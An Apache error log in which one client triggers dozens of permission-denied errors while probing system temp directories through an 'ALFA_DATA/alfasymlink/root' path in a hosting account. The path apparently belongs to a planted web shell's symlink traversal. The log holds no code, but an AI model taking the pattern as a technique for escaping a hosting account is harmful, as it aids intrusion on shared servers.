[Sat Oct 24 18:12:08.743827 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sat Oct 24 18:12:08.743843 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Sat Oct 24 18:12:08.743855 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Sat Oct 24 18:12:08.743885 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
[Sat Oct 24 18:12:08.743897 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Sat Oct 24 18:12:08.743911 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Sat Oct 24 18:12:08.743923 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Sat Oct 24 18:12:08.743941 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sat Oct 24 18:12:08.743954 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Sat Oct 24 18:12:08.743970 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Sat Oct 24 18:12:08.744000 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Sat Oct 24 18:12:08.744025 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sat Oct 24 18:12:08.744052 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Sat Oct 24 18:12:08.744072 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Sat Oct 24 18:12:08.744083 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Sat Oct 24 18:12:08.744095 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sat Oct 24 18:12:08.744111 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Sat Oct 24 18:12:08.744122 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Sat Oct 24 18:12:08.744134 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Sat Oct 24 18:12:08.744155 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sat Oct 24 18:12:08.744176 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Sat Oct 24 18:12:08.744188 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Sat Oct 24 18:12:08.744207 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Sat Oct 24 18:12:08.744234 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
[Sat Oct 24 18:12:08.744257 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Sat Oct 24 18:12:08.744270 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Sat Oct 24 18:12:08.744290 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Sat Oct 24 18:12:08.744311 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Sat Oct 24 18:12:08.744331 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Sat Oct 24 18:12:08.744347 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Sat Oct 24 18:12:08.744362 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sat Oct 24 18:12:08.744374 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Sat Oct 24 18:12:08.744384 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Sat Oct 24 18:12:08.744424 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Sat Oct 24 18:12:08.744442 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Sat Oct 24 18:12:08.744458 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sat Oct 24 18:12:08.744469 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Sat Oct 24 18:12:08.744507 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Sat Oct 24 18:12:08.744542 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sat Oct 24 18:12:08.744598 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Sat Oct 24 18:12:08.744613 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Sat Oct 24 18:12:08.744632 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Sat Oct 24 18:12:08.744645 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Sat Oct 24 18:12:08.744662 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Sat Oct 24 18:12:08.744688 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Sat Oct 24 18:12:08.744703 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sat Oct 24 18:12:08.744751 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Sat Oct 24 18:12:08.744767 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Sat Oct 24 18:12:08.744786 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Sat Oct 24 18:12:08.744804 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Sat Oct 24 18:12:08.744822 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Sat Oct 24 18:12:08.744854 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Sat Oct 24 18:12:08.744878 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Sat Oct 24 18:12:08.744924 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
[Sat Oct 24 18:12:08.744940 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Sat Oct 24 18:12:08.744958 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Sat Oct 24 18:12:08.744972 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Sat Oct 24 18:12:08.745015 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sat Oct 24 18:12:08.745036 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Sat Oct 24 18:12:08.745057 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Sat Oct 24 18:12:08.745076 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Sat Oct 24 18:12:08.745089 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Sat Oct 24 18:12:08.745100 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Sat Oct 24 18:12:08.745119 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
[Sat Oct 24 18:12:08.745139 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
[Sat Oct 24 18:12:08.745157 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sat Oct 24 18:12:08.745175 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Sat Oct 24 18:12:08.745189 2026] [core:crit] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.127:32768] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
